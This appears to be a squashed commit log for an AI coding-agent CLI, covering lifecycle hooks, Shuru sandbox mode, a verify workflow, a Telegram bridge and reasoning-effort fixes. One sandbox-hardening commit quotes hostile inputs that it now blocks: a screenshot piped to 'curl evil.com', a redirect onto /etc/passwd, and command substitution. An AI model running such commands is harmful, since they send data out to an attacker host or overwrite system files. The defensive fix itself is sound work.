* feat: add programmable hooks system with 17 lifecycle events
Hooks execute shell commands at key agent lifecycle events, letting
teams enforce policies, run linters, or log activity. Configuration
lives in ~/.grok/user-settings.json (global) or .grok/settings.json
(project) under a "hooks" key following Claude Code's proven schema.
Supported events: PreToolUse, PostToolUse, PostToolUseFailure,
UserPromptSubmit, SessionStart, SessionEnd, Stop, StopFailure,
SubagentStart, SubagentStop, TaskCreated, TaskCompleted, PreCompact,
PostCompact, Notification, InstructionsLoaded, CwdChanged.
Closes#247
* fix: matcher logic inverted when matchValue is absent
When an event has no match value (e.g. Stop, Notification), a hook
with a specific matcher string like "bash" would incorrectly fire.
Return false instead of true so matcher-specific hooks only fire
when the event actually provides a value to match against.
* fix: run PreToolUse hooks before background commands
Background commands (background: true) bypassed all hook logic
entirely. Move the PreToolUse check before the background early
return so policy hooks can block dangerous background commands.
* fix: restrict hooks to user-level settings only (security)
Project-level .grok/settings.json is repo-committed, so a malicious
repository could execute arbitrary unsandboxed commands on a
developer's machine via hook definitions. Hooks now load exclusively
from ~/.grok/user-settings.json. Removed hooks from ProjectSettings
interface and updated README accordingly.
* fix: return fresh empty result instead of shared mutable singleton
EMPTY_RESULT was a single shared object with mutable arrays returned
by reference. Replace with an emptyResult() factory function that
returns a new object each time to prevent cross-caller corruption.
Detect auth errors and show the API key modal, humanize raw SDK errors
(e.g. "AI_APICallError: Bad Request") into actionable messages, and
prevent session sync from wiping messages when a turn errors out.
* feat: add inline image and video rendering in terminal UI
Use sharp to render images as half-block character grids directly
in the terminal when media tool results are displayed, with ffmpeg
fallback for video thumbnail extraction.
* feat: auto-open generated media in OS viewer instead of inline rendering
Replace pixelated half-block terminal image rendering with native OS
viewer (`open` on macOS, `xdg-open` on Linux). Generated images and
videos now open automatically in full quality. Remove sharp dependency
and inline rendering utilities.
* bump version
* fix: use execFile instead of exec to prevent shell injection
* fix: remove auto-open from MediaToolResultView, keep only in MediaAutoOpenView
* fix: resolve tmp_dir unbound variable error in install script (#242)
Expand $tmp_dir at trap-definition time so the EXIT trap does not
reference a local variable after the function returns under set -u.
* bump version
* feat: add @-mention file autocomplete
Let prompts attach files directly from the composer with inline suggestions while injecting file context for the agent.
* bump version
* minor pr fixes
* chore: remove tracked telegram pair code from repo
Credential file was accidentally committed. Untrack it to keep
secrets out of version control.
* bump version
* feat: add verify workflow
* fix: host-side browser smoke tests, skill inheritance, and screenshot paths
* Update CHANGELOG.md
* fix: remove duplicated content in agent-browser SKILL.md
* fix: restrict host bypass to safe compound commands only
Validate every segment of a compound command before routing to host.
Only agent-browser, mkdir, sleep, echo, and true are allowed.
Commands like `git push && agent-browser close` now stay sandboxed.
* fix: remove lint/typecheck duplication across build and test commands
* feat: add granular progress output for headless verify mode
Show step-by-step progress during verify: recipe detection, checkpoint
prep, and sandbox execution. Tool calls now show useful context like
bash command snippets and sub-agent descriptions instead of bare names.
* fix: unify headless verify output style and remove redundant prelude
Use ▸ consistently for all progress/tool lines. Skip the generic
Processing/Session prelude when verify already shows its own progress.
* feat: record browser smoke tests as video during verify
Use agent-browser record start/stop to capture a .webm video of the
entire smoke test flow alongside screenshots. Both artifacts land in
.grok/verify-artifacts/ and are reported in the Evidence section.
* feat: show verify progress in interactive TUI mode
Display step-by-step status messages during recipe detection and
checkpoint preparation so the user sees what is happening before
the verify sub-agent starts running.
* fix: capitalize Verify in sub-agent display name
* feat: make recipe detection a proper verify-detect sub-agent
Replace the bare generateText() call with a verify-detect sub-agent
that can read files and inspect the codebase before producing a recipe.
The verify flow now runs two visible sub-agents: detect then execute.
* fix: remove manual status messages, let sub-agents show their own activity
* feat: make /verify work like /review with visible sub-agent activity
Replace the silent out-of-band detection with a single prompt that
drives both verify-detect and verify sub-agents from inside the
normal conversation loop. Both sub-agents now stream their activity
visibly in the TUI and headless output.
* refactor: make /verify identical to /review - a static prompt constant
Replace buildVerifyPrompt() with a VERIFY_PROMPT constant. Remove
runVerify() callback entirely. Both /verify and --verify now just
call processMessage(VERIFY_PROMPT), exactly like /review does with
REVIEW_PROMPT.
* fix: strengthen VERIFY_PROMPT with explicit sandbox/browser/relay instructions
* fix: install node/npm alongside bun in sandbox bootstrap
Next.js and other Node tools call npm internally (e.g. npm config get
registry). Bun-based projects now bootstrap both Bun and Node/npm.
* refactor: remove hardcoded bootstrap/shellInit, let detect agent decide
Remove all ecosystem-specific bootstrap functions (getNodeBootstrapCommands,
getPythonBootstrapCommands, etc). Static fallback recipes now have empty
bootstrap/shellInit arrays. The detect sub-agent is responsible for
specifying what runtimes and tools need to be installed in the sandbox.
The detect prompt now explicitly explains the sandbox is a fresh Debian
VM and gives examples of what bootstrapCommands should contain.
* docs: slim down verify README section to end-user essentials
* fix: reject pipes, redirects, and command substitution in host bypass
Block agent-browser screenshot | curl evil.com, redirects like > /etc/passwd,
and $(...) / backtick command substitution from bypassing the sandbox.
* fix: remove dead prepareVerifyRuntimeConfig function
* fix: remove dead verifyRecipeContext variable
* feat: add CLI update checker
Check for newer grok-dev releases when the interactive CLI starts and surface them through a startup modal, home banner, and update commands.
* ci: increase PR commit scan curl timeout to 300s
Expose Shuru sandbox configuration beyond the simple on/off toggle.
Settings (allowNet, allowedHosts, ports, cpus, memory, diskSize, secrets,
checkpoint) flow from CLI flags / saved settings through Agent, sub-agents,
and background delegations into wrapCommandForShuru. The TUI /sandbox panel
is replaced with a unified settings modal using arrow left/right for toggles
and inline editing for text fields. Adds --allow-net, --allow-host, and
--port CLI flags and a README section on sandbox support.
* feat: add Shuru sandbox mode for agent shell execution
Adds a user-selectable sandbox mode that runs all agent-driven bash
commands inside a Shuru microVM. Includes persistent user/project
settings, CLI flags (--sandbox / --no-sandbox), a TUI picker via
/sandbox, runtime toggling for live agents, delegation propagation,
model prompt updates, and Phase 1 guardrails that block shell commands
which would silently lose workspace mutations inside the guest overlay.
* fix: use word boundary in git guardrail to catch compound commands
The git mutation guard used ^ (start-of-string anchor), so compound
expressions like `echo foo && git commit` bypassed it. Switch to \b
to match the pattern used by the other guardrails.
* fix: remove branch from git allowlist and stabilize bash tests
- Remove `branch` from the read-only git allowlist since git branch
can create/delete/rename branches, which are mutating operations.
- Export wrapCommandForShuru and getSandboxMutationBlockReason for
direct unit testing without child_process mocking.
- Rewrite bash.test.ts to test pure functions directly, eliminating
flaky vi.doMock/resetModules ESM interactions.
* feat: add scheduled headless runs with daemon and agent tools
Add schedule_create, schedule_list, schedule_remove, schedule_read_log,
schedule_daemon_status, schedule_daemon_start, and schedule_daemon_stop
agent tools. Schedules are persisted under ~/.grok/schedules/ and fired
by a lightweight `grok daemon` background process. Includes /schedule
TUI slash command, browser modal, README section, and tests.
* fix: resolve pre-existing test failures across the suite
Add vitest.config.ts to exclude dist/ from test runs. Fix whisper-cpp
and instructions tests to isolate from local filesystem state by setting
process.env.HOME to a temp dir. Fix bridge test lint errors by replacing
`any` with proper types.
* fix: address code review findings in schedule system
- Prevent path traversal in schedule IDs by stripping dots from allowed
chars and adding assertInsideSchedulesDir guard
- Fix day-of-week cron ranges including 7 (e.g. 5-7) by validating raw
values before normalization and handling wrap-around in matching
- Pass log file descriptor directly to child stdio instead of piping
through the parent process
- Isolate per-schedule errors in daemon tick so one broken schedule
does not block the rest
* ✨ Add built-in telegram-bridge command
- add a headless Telegram bridge entrypoint and reusable path resolver
- export the new bridge helpers and cover path defaults with focused tests
- document headless Telegram usage in the README and verify startup without the wrapper
* 🐛 Fix telegram bridge shutdown handling
- restore the CLI's default SIGTERM exit behavior for non-bridge commands
- let the headless telegram bridge own SIGTERM cleanup while it is running
- abort bridge startup and clear watchers/listeners when Telegram setup fails early
* ♻️ Share Telegram approval persistence
- move approved-user persistence into a shared Telegram settings helper
- reuse the helper from both the TUI pairing flow and the headless bridge
- keep the approval write path consistent while removing duplicated settings merge logic
* bump package.json version
---------
Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
* feat: add telegram_send_file tool for Telegram media attachments
Give the agent a real tool to upload files to Telegram chats so it can
confirm delivery before writing its final reply, instead of guessing
whether attachments are supported.
* feat: add Telegram voice/audio transcription via whisper.cpp
Local speech-to-text for Telegram voice notes and audio attachments
using whisper.cpp, with auto model download and ffmpeg conversion.
* feat: add Telegram voice/audio transcription via whisper.cpp
Telegram voice notes and audio attachments are now transcribed locally
using whisper.cpp before being sent to the agent. Includes auto-download
of Whisper models, ffmpeg fallback for non-WAV formats, configurable
settings under telegram.audioInput, and unit tests for the new STT layer.
* fix: harden whisper audio setup
Avoid Linux model download failures, remove unused STT dependencies, and keep local Cursor state changes isolated to the intended files.
* refactor: share Telegram audio handler
Reduce duplicate Telegram voice and audio handling so transcription flow changes stay in sync.
Unify Telegram turn handling with the interactive TUI so remote messages show live tool calls, tool results, and subagent activity instead of only final responses.
* fix: only send reasoningEffort for grok-3-mini
According to xAI documentation, only grok-3-mini supports the
reasoning_effort parameter. Other models (grok-3, grok-4, grok-4-fast-reasoning)
do not support this parameter and return a 'Bad request' error when it is sent.
Changes:
- Added supportsReasoningEffort field to ModelInfo interface
- Marked only grok-3-mini with supportsReasoningEffort: true
- Updated getSupportedReasoningEfforts() to check supportsReasoningEffort
instead of the generic reasoning flag
- This prevents sending reasoningEffort to unsupported models
Fixes the 410 error when using models like grok-code-fast-1 with
reasoning effort configured.
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
* test: update tests to reflect grok-3-mini-only reasoning effort support
Updated model tests to verify that only grok-3-mini supports
reasoningEffort parameter, and all other models (including reasoning
models like grok-4-0709, grok-code-fast-1) correctly return empty
supported efforts arrays.
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
* test: add integration tests for resolveModelRuntime
Verify that providerOptions.xai.reasoningEffort is only included
for models that support it (currently only grok-3-mini), and is
correctly omitted for all other models regardless of their
reasoning flag.
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
* fix: organize imports in client.test.ts for Biome linter
Biome requires imports to be sorted alphabetically. Moved @ai-sdk/xai
import before vitest import to satisfy the linter.
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
* fix: add comprehensive tests for reasoningEffort with grok-3-mini
- Fixed misleading test name that said 'includes' but asserted undefined
- Added new test suite 'with configured reasoning effort' that mocks
getReasoningEffortForModel to verify positive cases
- Tests now verify that grok-3-mini DOES receive providerOptions when
reasoning effort is configured (high or low)
- Tests verify that other models (grok-4-0709, grok-code-fast-1, etc.)
do NOT receive providerOptions even when effort is configured
- Increased test coverage from 90 to 100 tests
Addresses review feedback about missing positive test case.
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
* refactor: remove dead code branches in getSupportedReasoningEfforts
Removed unreachable multiAgent and responsesOnly branches since only
grok-3-mini currently has supportsReasoningEffort: true, and it has
neither of those flags.
Added comment explaining that only grok-3-mini supports reasoning_effort
per xAI documentation, and it supports 'low' and 'high' efforts.
If xAI adds reasoning_effort support to other models in the future,
the logic can be expanded as needed.
Addresses review feedback about dead code.
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
---------
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Ismail Pelaseyed <homanp@users.noreply.github.com>
* feat: add custom sub-agents with /agents TUI and reliable interrupt
- Custom sub-agents stored in ~/.grok/user-settings.json (name, model, instruction)
- Validation against known model IDs, reserved name protection
- Injected into system prompt and available via task tool in all modes
- /agents TUI modal for browsing, adding, editing, and removing sub-agents
- Custom agent name shown in task UI instead of generic "Sub-agent"
- Foreground bash/search tools now accept abort signals for real cancellation
- Esc interrupt aligned with queue-force path for consistent cancel behavior
* fix issues found in code review
The CLI was showing version "1.0.0" but package.json has "1.0.0-rc2".
Changes:
- Import package.json in src/index.ts
- Use packageJson.version in program.version()
- Ensures --version shows correct version matching package.json
Fixes incorrect version displayed to users.
Co-authored-by: Ren <ren@openclaw.ai>
Ismail Pelaseyed